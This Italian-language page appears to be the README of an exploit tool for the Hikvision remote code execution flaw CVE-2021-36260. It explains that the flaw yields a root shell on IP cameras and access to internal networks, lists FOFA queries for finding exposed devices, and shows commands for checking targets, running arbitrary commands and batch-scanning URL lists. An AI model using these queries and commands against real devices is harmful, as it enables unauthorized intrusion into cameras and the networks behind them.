Vulnerabilità RCE CVE-2021-36260 in Hikvision

Descrizione della vulnerabilità

Un attaccante può sfruttare questa vulnerabilità per ottenere il controllo totale del dispositivo tramite una shell root illimitata, anche se il proprietario del dispositivo è limitato a una shell protetta limitata (psh). Oltre a compromettere le telecamere IP, può anche accedere e attaccare la rete interna.

FOFA

header="Hikvision"			 
app="HIKVISION-视频监控"

Utilizzo

python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --check
python ./CVE-2021-36260.py -u http://192.168.1.1:8080 --cmd "ls -la"
python ./CVE-2021-36260.py -f target.txt

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Start scanning url
  -f FILE, --file FILE  read the url from the file
  --check               Check if vulnerable
  --cmd CMD             execute cmd (i.e: "ls -l")

Può eseguire scansioni batch di src.

hikvision-unauthenticated-rce-cve-2021-36260

Più Popolari